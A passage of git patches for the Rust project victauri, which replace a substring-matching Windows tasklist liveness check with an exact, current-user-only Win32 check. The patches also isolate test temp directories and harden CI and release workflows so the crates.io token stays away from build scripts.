substring-matched (PID 12 "matched" 123) +/// and counted other users' processes. #[cfg(windows)] fn alive_pids() -> Option> { - // One `tasklist` in CSV form (~60ms) lists every process; column 2 is the PID. - let out = std::process::Command::new(system32_exe("tasklist.exe")) - .args(["/FO", "CSV", "/NH"]) - .output() - .ok()?; - if !out.status.success() { - return None; - } - let text = String::from_utf8_lossy(&out.stdout); - let set: HashSet = text - .lines() - .filter_map(|line| { - // Rows look like: "name","pid","session","sessname","mem" - line.split("\",\"") - .nth(1) - .and_then(|f| f.trim_matches('"').trim().parse::().ok()) - }) - .collect(); - (!set.is_empty()).then_some(set) + None } /// One `ps` lists the PIDs on both Linux and macOS (portable; `/proc` is Linux-only) — only @@ -1169,16 +1149,11 @@ fn alive_pids() -> Option> { (!set.is_empty()).then_some(set) } +/// A live process owned by the current user — exact PID, own-user only (the cross-user PID +/// reuse fix `ps -U` gave Unix, audit R2-7). #[cfg(windows)] fn is_process_alive(pid: u32) -> bool { - use std::process::Command; - Command::new(system32_exe("tasklist.exe")) - .args(["/FI", &format!("PID eq {pid}"), "/NH"]) - .output() - .is_ok_and(|o| { - let out = String::from_utf8_lossy(&o.stdout); - out.contains(&pid.to_string()) - }) + victauri_test::process::is_own_live_process(pid) } #[cfg(not(windows))] @@ -1411,6 +1386,15 @@ mod tests { assert!(up.contains("still running"), "{up}"); } + #[test] + fn liveness_is_exact_and_own_user_only() { + assert!(is_process_alive(std::process::id())); + // The old Windows check substring-matched tasklist output, and counted every + // account's processes. PID 4 (System) is live but never ours. + #[cfg(windows)] + assert!(!is_process_alive(4)); + } + #[test] fn alive_pids_enumerates_and_includes_self() { // The batched liveness snapshot (one OS call) keeps discovery fast even with many diff --git a/crates/victauri-cli/tests/bridge_e2e.rs b/crates/victauri-cli/tests/bridge_e2e.rs index 6fdd92a3..93cd4887 100644 --- a/crates/victauri-cli/tests/bridge_e2e.rs +++ b/crates/victauri-cli/tests/bridge_e2e.rs @@ -53,6 +53,31 @@ impl Drop for ChildGuard { } } +/// A private temp root for one test. The bridge under test resolves its discovery dir from +/// it, so the fake entry is invisible to every real `victauri bridge` on the machine — the +/// entries used to go into the real `/victauri`, where a developer's own editor session +/// discovered the mock server mid-test and offered its tools to the agent. +struct IsolatedTemp(tempfile::TempDir); + +impl IsolatedTemp { + fn new() -> Self { + Self(tempfile::tempdir().expect("create isolated temp dir")) + } + + fn discovery_dir(&self, pid: u32) -> PathBuf { + self.0.path().join("victauri").join(pid.to_string()) + } + + /// The real bridge binary, with every temp-dir source pointed at this root. + fn bridge(&self) -> Command { + let mut cmd = Command::new(env!("CARGO_BIN_EXE_victauri")); + for var in ["TMP", "TEMP", "TMPDIR", "XDG_RUNTIME_DIR"] { + cmd.env(var, self.0.path()); + } + cmd + } +} + struct DirGuard(PathBuf); impl Drop for DirGuard { @@ -143,7 +168,8 @@ async fn bridge_selects_by_identity_forwards_and_survives_restart() { .as_nanos(); let ident = format!("com.test.e2e-bridge.{unique}"); let pid = std::process::id(); - let dir = std::env::temp_dir().join("victauri").join(pid.to_string()); + let iso = IsolatedTemp::new(); + let dir = iso.discovery_dir(pid); std::fs::create_dir_all(&dir).unwrap(); let _dir_guard = DirGuard(dir.clone()); std::fs::write(dir.join("port"), port.to_string()).unwrap(); @@ -156,7 +182,8 @@ async fn bridge_selects_by_identity_forwards_and_survives_restart() { // Spawn the real bridge binary, pinned to our app by identity. let mut child = ChildGuard { - child: Command::new(env!("CARGO_BIN_EXE_victauri")) + child: iso + .bridge() .args(["bridge", "--wait", "--app", ident.as_str()]) .stdin(Stdio::piped()) .stdout(Stdio::piped()) @@ -285,14 +312,16 @@ async fn bridge_cold_start_serves_handshake_then_goes_live_when_app_appears() { .as_nanos(); let ident = format!("com.test.coldstart.{unique}"); let pid = std::process::id(); - let dir = std::env::temp_dir().join("victauri").join(pid.to_string()); + let iso = IsolatedTemp::new(); + let dir = iso.discovery_dir(pid); // Ensure we truly start "app down" — no leftover discovery entry for this pid. let _ = std::fs::remove_dir_all(&dir); let _dir_guard = DirGuard(dir.clone()); // Spawn the bridge with NO backend present, pinned to our (currently-absent) app. let mut child = ChildGuard { - child: Command::new(env!("CARGO_BIN_EXE_victauri")) + child: iso + .bridge() .args(["bridge", "--app", ident.as_str()]) .stdin(Stdio::piped()) .stdout(Stdio::piped()) @@ -518,7 +547,8 @@ async fn bridge_reresolves_and_wont_reuse_a_stale_cached_backend() { .as_nanos(); let ident = format!("com.test.reresolve.{unique}"); let pid = std::process::id(); - let dir = std::env::temp_dir().join("victauri").join(pid.to_string()); + let iso = IsolatedTemp::new(); + let dir = iso.discovery_dir(pid); let _ = std::fs::remove_dir_all(&dir); std::fs::create_dir_all(&dir).unwrap(); let _dir_guard = DirGuard(dir.clone()); @@ -537,7 +567,8 @@ async fn bridge_reresolves_and_wont_reuse_a_stale_cached_backend() { .unwrap(); let mut child = ChildGuard { - child: Command::new(env!("CARGO_BIN_EXE_victauri")) + child: iso + .bridge() .args(["bridge", "--app", ident.as_str()]) .stdin(Stdio::piped()) .stdout(Stdio::piped()) diff --git a/crates/victauri-test/Cargo.toml b/crates/victauri-test/Cargo.toml index dbf68191..ad7919b6 100644 --- a/crates/victauri-test/Cargo.toml +++ b/crates/victauri-test/Cargo.toml @@ -26,6 +26,10 @@ tokio = { workspace = true } png = "0.17" base64 = "0.22" +[target.'cfg(windows)'.dependencies] +# Process liveness + owner check for discovery (`process.rs`), instead of spawning tasklist. +windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Threading"] } + [dev-dependencies] axum = { workspace = true } uuid = { workspace = true } diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index 40adcca3..cc3d26e3 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -399,26 +399,11 @@ fn port_is_reachable(port: u16) -> bool { .is_ok() } -/// Cross-platform "is this pid a live process?" — mirrors the audited helper in the -/// MCP-bridge discovery path (`victauri-cli::bridge`). Used to prune discovery entries -/// whose owning app has exited even when a different app holds the same shared port. -#[cfg(windows)] +/// Whether `pid` is a live process owned by the current user (see [`crate::process`]). +/// Used to prune discovery entries whose owning app has exited even when a different app +/// holds the same shared port. fn is_process_alive(pid: u32) -> bool { - std::process::Command::new("tasklist") - .args(["/FI", &format!("PID eq {pid}"), "/NH"]) - .output() - .is_ok_and(|o| String::from_utf8_lossy(&o.stdout).contains(&pid.to_string())) -} - -#[cfg(not(windows))] -fn is_process_alive(pid: u32) -> bool { - // `kill -0` sends no signal but succeeds iff the process exists and is signalable by us - // (discovery entries are our own user's processes). Portable across Linux and macOS. - std::process::Command::new("kill") - .args(["-0", &pid.to_string()]) - .stderr(std::process::Stdio::null()) - .status() - .is_ok_and(|s| s.success()) + crate::process::is_own_live_process(pid) } #[cfg(test)] diff --git a/crates/victauri-test/src/lib.rs b/crates/victauri-test/src/lib.rs index cedb01e5..f08507b3 100644 --- a/crates/victauri-test/src/lib.rs +++ b/crates/victauri-test/src/lib.rs @@ -1,5 +1,6 @@ #![deny(missing_docs)] -#![forbid(unsafe_code)] +// `deny`, not `forbid`: the one audited exception is the Win32 liveness query in `process`. +#![deny(unsafe_code)] //! Integration testing for Tauri apps via the Victauri MCP server. //! //! Provides [`TestApp`] for managed app lifecycle and [`VictauriClient`] with @@ -43,6 +44,8 @@ mod discovery; mod error; pub mod locator; pub mod prelude; +#[doc(hidden)] +pub mod process; pub mod reporting; pub mod smoke; pub mod visual; diff --git a/crates/victauri-test/src/process.rs b/crates/victauri-test/src/process.rs new file mode 100644 index 00000000..725ed64b --- /dev/null +++ b/crates/victauri-test/src/process.rs @@ -0,0 +1,154 @@ +//! Process liveness for discovery: is `pid` a live process owned by the current user? +//! +//! Discovery trusts a `/victauri//` entry only while its PID is alive, so this +//! check decides where a Bearer token is sent. It must be exact (PID 12 is not PID 123), +//! scoped to our own user (another user's process that inherited a stale PID must not make +//! an entry look live), and cheap — the CLI bridge polls it every 1.5 s. The previous +//! Windows check spawned `tasklist` and substring-matched its output: it failed all three +//! (measured 0.5 s per call on an idle machine, up to 40 s filtered by user under load). +//! +//! Same-user PID reuse remains a documented residual: discovery liveness is PID-based. + +/// Whether `pid` is a live process owned by the current user. +#[doc(hidden)] +#[must_use] +pub fn is_own_live_process(pid: u32) -> bool { + imp::is_own_live_process(pid) +} + +#[cfg(windows)] +#[allow(unsafe_code)] +mod imp { + use std::ffi::c_void; + + use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, STILL_ACTIVE}; + use windows_sys::Win32::Security::{EqualSid, GetTokenInformation, TOKEN_QUERY, TokenUser}; + use windows_sys::Win32::System::Threading::{ + GetCurrentProcess, GetExitCodeProcess, OpenProcess, OpenProcessToken, + PROCESS_QUERY_LIMITED_INFORMATION, + }; + + /// Closes a kernel handle on drop. + struct Handle(HANDLE); + + impl Drop for Handle { + fn drop(&mut self) { + // SAFETY: `self.0` is a handle this module opened and has not closed. + unsafe { CloseHandle(self.0) }; + } + } + + /// The `TOKEN_USER` of a process, as the raw (8-aligned) buffer it lives in. + fn token_user(process: HANDLE) -> Option> { + let mut token: HANDLE = std::ptr::null_mut(); + // SAFETY: `process` is a valid process handle; `token` is a valid out-pointer. + if unsafe { OpenProcessToken(process, TOKEN_QUERY, &mut token) } == 0 { + return None; + } + let token = Handle(token); + let mut len = 0u32; + // SAFETY: a null buffer of length 0 is the documented size probe; `len` is valid. + unsafe { GetTokenInformation(token.0, TokenUser, std::ptr::null_mut(), 0, &mut len) }; + if len == 0 { + return None; + } + let mut buf = vec![0u64; (len as usize).div_ceil(8)]; + // SAFETY: `buf` is at least `len` bytes and 8-aligned (TOKEN_USER holds pointers). + let ok = unsafe { + GetTokenInformation( + token.0, + TokenUser, + buf.as_mut_ptr().cast::(), + len, + &mut len, + ) + }; + (ok != 0).then_some(buf) + } + + /// The SID pointer inside a `TOKEN_USER` buffer from [`token_user`]. + fn sid(buf: &[u64]) -> *mut c_void { + // SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its first field + // is SID_AND_ATTRIBUTES, whose first field is the SID pointer (into `buf` itself). + unsafe { *buf.as_ptr().cast::<*mut c_void>() } + } + + pub(super) fn is_own_live_process(pid: u32) -> bool { + if pid == 0 { + return false; + } + // SAFETY: plain FFI call; a null return (no such process, or not ours to query) + // is handled below. + let raw = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid) }; + if raw.is_null() { + return false; + } + let process = Handle(raw); + let mut code = 0u32; + // SAFETY: `process.0` is a valid handle; `code` is a valid out-pointer. + if unsafe { GetExitCodeProcess(process.0, &mut code) } == 0 || code != STILL_ACTIVE as u32 { + return false; + } + // SAFETY: the pseudo-handle of the current process needs no closing. + let me = unsafe { GetCurrentProcess() }; + let (Some(theirs), Some(ours)) = (token_user(process.0), token_user(me)) else { + return false; + }; + // SAFETY: both SIDs point into live TOKEN_USER buffers held above. + unsafe { EqualSid(sid(&theirs), sid(&ours)) != 0 } + } +} + +#[cfg(unix)] +mod imp { + /// `kill -0` succeeds only for a live process we may signal: our own (unless root). + pub(super) fn is_own_live_process(pid: u32) -> bool { + pid != 0 + && std::process::Command::new("/bin/kill") + .args(["-0", &pid.to_string()]) + .stderr(std::process::Stdio::null()) + .status() + .is_ok_and(|s| s.success()) + } +} + +#[cfg(not(any(windows, unix)))] +mod imp { + pub(super) fn is_own_live_process(_pid: u32) -> bool { + false + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_current_process_is_own_and_live() { + assert!(is_own_live_process(std::process::id())); + } + + #[test] + fn an_exited_child_is_not_live() { + let mut child = std::process::Command::new(if cfg!(windows) { "cmd" } else { "true" }) + .args(if cfg!(windows) { + &["/C", "exit"][..] + } else { + &[][..] + }) + .spawn() + .unwrap(); + let pid = child.id(); + child.wait().unwrap(); + // `child` still holds its handle, so the PID cannot have been recycled yet. + assert!(!is_own_live_process(pid)); + assert!(!is_own_live_process(0)); + } + + /// PID 4 is the Windows System process: live, but not ours. + #[cfg(windows)] + #[test] + fn another_accounts_live_process_is_not_ours() { + assert!(!is_own_live_process(4)); + } +} diff --git a/crates/victauri-watchdog/Cargo.toml b/crates/victauri-watchdog/Cargo.toml index 24fc01fe..105f127c 100644 --- a/crates/victauri-watchdog/Cargo.toml +++ b/crates/victauri-watchdog/Cargo.toml @@ -29,6 +29,10 @@ anyhow = { workspace = true } reqwest = { version = "0.12", default-features = false, features = ["rustls-tls"] } serde_json = { workspace = true } +[target.'cfg(windows)'.dependencies] +# Process liveness + owner check (`process.rs`), instead of spawning tasklist. +windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Threading"] } + [dev-dependencies] tempfile = "3" diff --git a/crates/victauri-watchdog/src/main.rs b/crates/victauri-watchdog/src/main.rs index 63e74867..8fabdf7b 100644 --- a/crates/victauri-watchdog/src/main.rs +++ b/crates/victauri-watchdog/src/main.rs @@ -1,5 +1,7 @@ //! Watchdog process that monitors and restarts the Victauri MCP server if it becomes unresponsive. +mod process; + use std::path::{Path, PathBuf}; use std::time::Duration; @@ -301,25 +303,11 @@ fn dir_is_trusted(path: &Path) -> bool { std::fs::symlink_metadata(path).is_ok_and(|m| m.is_dir()) } -/// Cross-platform "is this pid a live process?" (same approach as victauri-test). -#[cfg(windows)] -fn is_process_alive(pid: u32) -> bool { - // Absolute System32 path (as victauri-cli's bridge does): a writable PATH entry must not - // be able to shadow `tasklist`, which this loop spawns repeatedly. - let root = std::env::var("SystemRoot").unwrap_or_else(|_| "C:\\Windows".to_string()); - std::process::Command::new(format!("{root}\\System32\\tasklist.exe")) - .args(["/FI", &format!("PID eq {pid}"), "/NH"]) - .output() - .is_ok_and(|o| String::from_utf8_lossy(&o.stdout).contains(&pid.to_string())) -} - -#[cfg(not(windows))] +/// Whether `pid` is a live process owned by the current user (exact PID, own user; see +/// `process.rs`). The old Windows check substring-matched `tasklist` output, so a crashed app +/// whose PID was a prefix of a live one looked alive and was never restarted. fn is_process_alive(pid: u32) -> bool { - std::process::Command::new("kill") - .args(["-0", &pid.to_string()]) - .stderr(std::process::Stdio::null()) - .status() - .is_ok_and(|s| s.success()) + process::is_own_live_process(pid) } /// Resolve the app to watch from discovery, logging an ambiguous outcome. Returns `None` diff --git a/crates/victauri-watchdog/src/process.rs b/crates/victauri-watchdog/src/process.rs new file mode 100644 index 00000000..44d8d047 --- /dev/null +++ b/crates/victauri-watchdog/src/process.rs @@ -0,0 +1,154 @@ +//! Process liveness for discovery: is `pid` a live process owned by the current user? +//! (A copy of `victauri-test`'s `process` module; the watchdog does not depend on it.) +//! +//! Discovery trusts a `/victauri//` entry only while its PID is alive, so this +//! check decides where a Bearer token is sent. It must be exact (PID 12 is not PID 123), +//! scoped to our own user (another user's process that inherited a stale PID must not make +//! an entry look live), and cheap — the CLI bridge polls it every 1.5 s. The previous +//! Windows check spawned `tasklist` and substring-matched its output: it failed all three +//! (measured 0.5 s per call on an idle machine, up to 40 s filtered by user under load). +//! +//! Same-user PID reuse remains a documented residual: discovery liveness is PID-based. + +/// Whether `pid` is a live process owned by the current user. +#[must_use] +pub fn is_own_live_process(pid: u32) -> bool { + imp::is_own_live_process(pid) +} + +#[cfg(windows)] +#[allow(unsafe_code)] +mod imp { + use std::ffi::c_void; + + use windows_sys::Win32::Foundation::{CloseHandle, HANDLE, STILL_ACTIVE}; + use windows_sys::Win32::Security::{EqualSid, GetTokenInformation, TOKEN_QUERY, TokenUser}; + use windows_sys::Win32::System::Threading::{ + GetCurrentProcess, GetExitCodeProcess, OpenProcess, OpenProcessToken, + PROCESS_QUERY_LIMITED_INFORMATION, + }; + + /// Closes a kernel handle on drop. + struct Handle(HANDLE); + + impl Drop for Handle { + fn drop(&mut self) { + // SAFETY: `self.0` is a handle this module opened and has not closed. + unsafe { CloseHandle(self.0) }; + } + } + + /// The `TOKEN_USER` of a process, as the raw (8-aligned) buffer it lives in. + fn token_user(process: HANDLE) -> Option> { + let mut token: HANDLE = std::ptr::null_mut(); + // SAFETY: `process` is a valid process handle; `token` is a valid out-pointer. + if unsafe { OpenProcessToken(process, TOKEN_QUERY, &mut token) } == 0 { + return None; + } + let token = Handle(token); + let mut len = 0u32; + // SAFETY: a null buffer of length 0 is the documented size probe; `len` is valid. + unsafe { GetTokenInformation(token.0, TokenUser, std::ptr::null_mut(), 0, &mut len) }; + if len == 0 { + return None; + } + let mut buf = vec![0u64; (len as usize).div_ceil(8)]; + // SAFETY: `buf` is at least `len` bytes and 8-aligned (TOKEN_USER holds pointers). + let ok = unsafe { + GetTokenInformation( + token.0, + TokenUser, + buf.as_mut_ptr().cast::(), + len, + &mut len, + ) + }; + (ok != 0).then_some(buf) + } + + /// The SID pointer inside a `TOKEN_USER` buffer from [`token_user`]. + fn sid(buf: &[u64]) -> *mut c_void { + // SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its first field + // is SID_AND_ATTRIBUTES, whose first field is the SID pointer (into `buf` itself). + unsafe { *buf.as_ptr().cast::<*mut c_void>() } + } + + pub(super) fn is_own_live_process(pid: u32) -> bool { + if pid == 0 { + return false; + } + // SAFETY: plain FFI call; a null return (no such process, or not ours to query) + // is handled below. + let raw = unsafe { OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid) }; + if raw.is_null() { + return false; + } + let process = Handle(raw); + let mut code = 0u32; + // SAFETY: `process.0` is a valid handle; `code` is a valid out-pointer. + if unsafe { GetExitCodeProcess(process.0, &mut code) } == 0 || code != STILL_ACTIVE as u32 { + return false; + } + // SAFETY: the pseudo-handle of the current process needs no closing. + let me = unsafe { GetCurrentProcess() }; + let (Some(theirs), Some(ours)) = (token_user(process.0), token_user(me)) else { + return false; + }; + // SAFETY: both SIDs point into live TOKEN_USER buffers held above. + unsafe { EqualSid(sid(&theirs), sid(&ours)) != 0 } + } +} + +#[cfg(unix)] +mod imp { + /// `kill -0` succeeds only for a live process we may signal: our own (unless root). + pub(super) fn is_own_live_process(pid: u32) -> bool { + pid != 0 + && std::process::Command::new("/bin/kill") + .args(["-0", &pid.to_string()]) + .stderr(std::process::Stdio::null()) + .status() + .is_ok_and(|s| s.success()) + } +} + +#[cfg(not(any(windows, unix)))] +mod imp { + pub(super) fn is_own_live_process(_pid: u32) -> bool { + false + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_current_process_is_own_and_live() { + assert!(is_own_live_process(std::process::id())); + } + + #[test] + fn an_exited_child_is_not_live() { + let mut child = std::process::Command::new(if cfg!(windows) { "cmd" } else { "true" }) + .args(if cfg!(windows) { + &["/C", "exit"][..] + } else { + &[][..] + }) + .spawn() + .unwrap(); + let pid = child.id(); + child.wait().unwrap(); + // `child` still holds its handle, so the PID cannot have been recycled yet. + assert!(!is_own_live_process(pid)); + assert!(!is_own_live_process(0)); + } + + /// PID 4 is the Windows System process: live, but not ours. + #[cfg(windows)] + #[test] + fn another_accounts_live_process_is_not_ours() { + assert!(!is_own_live_process(4)); + } +} From d0366a19f47a0fcbfdf1a1b7c04a0ad15aa49779 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:00:49 +1000 Subject: [PATCH 029/167] fix(release,ci,docs): tokenless verify before publish; honest gates and docs - release: the crates.io token no longer sits in the job env while crates and their dependencies' build scripts compile; verify with a tokenless 'cargo publish --workspace --dry-run', then upload --no-verify in the one step that holds it; no rust-cache in the publish job; require-ci-green counts only a push run on main and refuses a tag not on main; top-level read-only permissions; --locked builds. - ci: cargo-semver-checks pinned to 0.50.0 (0.48 could not read Rust 1.97 rustdoc and 'passed' without checking; 0.50 runs: 0.8.8 -> 0.9.0 is the intended major bump) and a failure is annotated, not swallowed; the Codecov upload that failed on every run is replaced by an artifact; compat runs third-party code with persist-credentials: false and never saves its cache. - jsdom bridge tests fail instead of silently skipping in CI or preflight (VICTAURI_REQUIRE_JSDOM), and preflight installs them. - MCP Registry name uses the case-sensitive login (io.github.4DA-Systems); victauri-core's README example compiles again and is now a doctest; visual-regression docs call the real API; crate/compat counts corrected; RELEASING.md documents the gates, environment-scoped token, MCP publish. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- .github/workflows/ci.yml | 42 ++++++++++---------- .github/workflows/compat.yml | 7 ++++ .github/workflows/release.yml | 41 +++++++++++++++---- RELEASING.md | 25 +++++++++--- crates/victauri-cli/README.md | 2 +- crates/victauri-core/README.md | 13 +----- crates/victauri-core/src/lib.rs | 7 ++++ crates/victauri-plugin/src/mcp/authz.rs | 2 +- crates/victauri-plugin/tests/bridge_tests.rs | 10 ++++- docs/src/introduction.md | 4 +- docs/src/testing.md | 17 ++++---- editors/vscode/README.md | 2 +- scripts/preflight.ps1 | 4 +- scripts/preflight.sh | 4 +- server.json | 2 +- 15 files changed, 121 insertions(+), 61 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index fb8f27d2..a6d000f6 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -439,10 +439,15 @@ jobs: - name: Generate coverage run: cargo llvm-cov --workspace --lcov --output-path lcov.info - - name: Upload coverage to Codecov - uses: codecov/codecov-action@18283e04ce6e62d37312384ff67231eb8fd56d24 # v4.7.1 + # No Codecov upload: without a token it failed on every run (tokenless upload + # refused) while reporting green, and the action ran an unverified `latest` + # CLI. The report is kept as an artifact instead. + - name: Keep the coverage report + uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 with: - files: lcov.info + name: lcov + path: lcov.info + retention-days: 14 semver: name: Semver Checks @@ -466,27 +471,24 @@ jobs: save-if: ${{ github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master' }} # Prebuilt binary — avoids ~3 min compiling cargo-semver-checks from source. + # Pinned: the version this action pin defaults to (0.48) cannot read the rustdoc JSON of + # current stable ("unsupported rustdoc format v60"), and failed before checking anything. - uses: taiki-e/install-action@25435dc8dd3baed7417e0c96d3fe89013a5b2e09 # v2 with: - tool: cargo-semver-checks - - # INFORMATIONAL — not a required gate (removed from ci-success). cargo-semver- - # checks builds rustdoc and is currently broken in CI in two INDEPENDENT ways, - # neither of which is an API break: - # - victauri-plugin: rustdoc hits an upstream E0119 ("conflicting - # implementations of From") compiling `time` (pulled by - # tauri → cookie) on every stable toolchain tested (1.93.1, 1.95) and the - # latest time (0.3.48). The baseline build uses fresh crates.io resolution, - # so pinning our lock can't fix it. - # - victauri-core: cargo-semver-checks' fresh baseline resolution fails in CI - # (passes locally only with a warm cache). - # A plain `cargo doc --workspace` succeeds, so these are tooling/toolchain - # issues, not semver violations. Keep it running for signal; use local - # `cargo semver-checks` as the pre-release gate. Re-add to ci-success once the - # upstream time/rustdoc bug is fixed. + tool: cargo-semver-checks@0.50.0 + + # INFORMATIONAL — not a required gate: a new stable rustdoc JSON format can outrun + # the pinned cargo-semver-checks, which is a tooling failure, not an API break. With + # 0.50.0 on Rust 1.97 the full check runs (core, plugin, test: 0.8.8 -> 0.9.0 passes as + # the intended major bump). A failure is surfaced as a warning annotation below, never + # swallowed silently; RELEASING.md makes the local run the pre-release gate. - name: Check semver (informational) + id: semver continue-on-error: true run: cargo semver-checks check-release --workspace + - name: Surface a semver-checks failure + if: steps.semver.outcome == 'failure' + run: echo "::warning title=Semver Checks::cargo semver-checks failed (API break, or a toolchain/tool mismatch) — read the log above" e2e: name: E2E Integration (${{ matrix.os }}) @@ -601,7 +603,7 @@ jobs: # Listing ~15 matrix legs as required checks is brittle (a renamed job # silently stops being required). This job depends on all of them and fails # if any FAILED or was CANCELLED — a SKIPPED job (a conditional leg that - # legitimately did not apply, e.g. `semver` on push or `e2e` on a PR) passes. + # legitimately did not apply, e.g. `semver` on a push to main) passes. # Require ONLY "CI Success" in branch protection. # ───────────────────────────────────────────────────────────────────── ci-success: diff --git a/.github/workflows/compat.yml b/.github/workflows/compat.yml index e1d6a287..ad6fc929 100644 --- a/.github/workflows/compat.yml +++ b/.github/workflows/compat.yml @@ -42,6 +42,10 @@ jobs: app: [kanri, en-croissant, lettura] steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + # Third-party apps and their install scripts run in this job: leave no + # token in .git/config for them to find. + persist-credentials: false - name: Skip non-selected apps (manual single-app runs) id: gate @@ -72,6 +76,9 @@ jobs: if: steps.gate.outputs.run == 'true' with: key: compat-${{ matrix.app }} + # Never save: third-party build scripts ran here, so this target/ must + # not become a cache another workflow restores. + save-if: false # The four apps use two JS package managers: yarn (Kanri) and pnpm (the rest). # corepack supplies both shims. (Bun was only needed for Surrealist, which was diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1f5a8727..e3269ee2 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -13,6 +13,10 @@ on: env: CARGO_TERM_COLOR: always +# Read-only by default; a job that needs more (github-release) asks for it. +permissions: + contents: read + jobs: # ───────────────────────────────────────────────────────────────────── # Gate: ensure tests pass before building release artifacts @@ -40,10 +44,10 @@ jobs: run: npm ci --no-audit --no-fund - name: Run tests - run: cargo test --workspace + run: cargo test --workspace --locked - name: Clippy - run: cargo clippy --workspace --all-targets -- -D warnings + run: cargo clippy --workspace --all-targets --locked -- -D warnings # ───────────────────────────────────────────────────────────────────── # Build release binaries for all platforms @@ -133,7 +137,7 @@ jobs: - name: Build (native) if: ${{ !matrix.use-cross }} - run: cargo build --release --target ${{ matrix.target }} -p ${{ matrix.binary }} + run: cargo build --release --locked --target ${{ matrix.target }} -p ${{ matrix.binary }} - name: Build (cross) if: matrix.use-cross @@ -181,8 +185,16 @@ jobs: sha="${{ github.sha }}" repo="${{ github.repository }}" echo "Requiring the CI workflow (ci.yml) to be green for $sha before publishing." + # The tagged commit must be ON main: a pull_request run for this SHA tested + # the merge of it into main, not the commit itself. + cmp=$(gh api "repos/$repo/compare/$sha...main" --jq '.status' 2>/dev/null || echo error) + if [ "$cmp" != "ahead" ] && [ "$cmp" != "identical" ]; then + echo "::error::$sha is not on main (compare status: $cmp). Tag a commit merged to main." + exit 1 + fi for i in $(seq 1 80); do - run=$(gh api "repos/$repo/actions/workflows/ci.yml/runs?head_sha=$sha&per_page=1" \ + # Only a push run on main tested exactly this commit. + run=$(gh api "repos/$repo/actions/workflows/ci.yml/runs?head_sha=$sha&event=push&branch=main&per_page=1" \ --jq '.workflow_runs[0] | "\(.status)|\(.conclusion)"' 2>/dev/null || echo "none|") status="${run%%|*}" concl="${run##*|}" @@ -216,8 +228,11 @@ jobs: # Gate behind a protected Environment. Add required reviewers in # repo Settings → Environments → release to require approval before publish. environment: release - env: - CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }} + # NO job-level token: the crates.io token must never be in the environment while + # anything compiles. Verifying a crate runs every dependency's build script and + # proc-macro, and one malicious one could read an ambient token and publish + # irreversibly. The token is scoped to the single upload step below, which runs + # `--no-verify` (packages, compiles nothing). steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 @@ -247,16 +262,26 @@ jobs: with: toolchain: stable - - uses: Swatinem/rust-cache@9d47c6ad4b02e050fd481d890b2ea34778fd09d6 # v2.7.8 + # No rust-cache in this job: a restored target/ is code the job would then run. + + # Verify every crate exactly as it will be uploaded (packaged, then built from + # the package against its sibling packages) BEFORE anything irreversible, and + # with no token present. + - name: Verify all packages (no token) + run: cargo publish --workspace --dry-run --locked - name: Publish crates in dependency order + env: + CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }} run: | publish() { echo "Publishing $1..." # NB: capture cargo's exit via PIPESTATUS, NOT the pipeline's (which is # tee's and is always 0) — otherwise an auth/publish failure is masked # and the job false-greens without anything reaching crates.io. - cargo publish -p "$1" 2>&1 | tee /tmp/pub.log + # --no-verify: verified above; here nothing is compiled (no build script + # runs) while the token is in the environment. + cargo publish -p "$1" --no-verify --locked 2>&1 | tee /tmp/pub.log rc=${PIPESTATUS[0]} if [ "$rc" -eq 0 ]; then echo "$1 published successfully" diff --git a/RELEASING.md b/RELEASING.md index 75dc73a8..930a040d 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -9,7 +9,7 @@ fails loudly if any published version falls behind the repo. | Secret | Used by | Scope | |---|---|---| -| `CARGO_REGISTRY_TOKEN` | core release → crates.io | crates.io API token | +| `CARGO_REGISTRY_TOKEN` | core release → crates.io | crates.io API token. Store it as a secret of the **`release` environment** (Settings → Environments → release), not as a repository secret: only an environment secret is behind that environment's required reviewers — a repository secret is readable by any workflow run on any branch. (Or drop the token entirely for crates.io Trusted Publishing.) | | `VSCE_PAT` | VS Code release → Marketplace | Azure DevOps PAT, *Marketplace → Manage* (publisher `4da-systems`) | | `OVSX_TOKEN` *(optional)* | VS Code release → Open VSX | open-vsx.org token (Cursor / VSCodium / agent IDEs) | @@ -25,12 +25,21 @@ the release's own test step runs **only on ubuntu** and publish wasn't gated on Two layers now prevent that: 1. **Local preflight** — run `./scripts/preflight.ps1` (Windows) or `./scripts/preflight.sh` - before pushing. It runs fmt + clippy + the full workspace tests + the Chrome bridge tests, - so fast failures are caught locally in seconds instead of a 16-minute CI round trip. It + before pushing. It runs fmt + clippy + the doc-count lint + `npm ci` for the jsdom JS-bridge + tests + the full workspace tests (with `VICTAURI_REQUIRE_JSDOM=1`, so the bridge tests fail + rather than silently skip), so fast failures are caught locally in seconds instead of a + 16-minute CI round trip. It **cannot** catch macOS/Linux-only bugs (you're on one OS) or the real-app E2E — that's CI. 2. **`require-ci-green` (the hard gate)** — `release.yml` will **not** publish unless the - **full CI** (all platforms + real-app 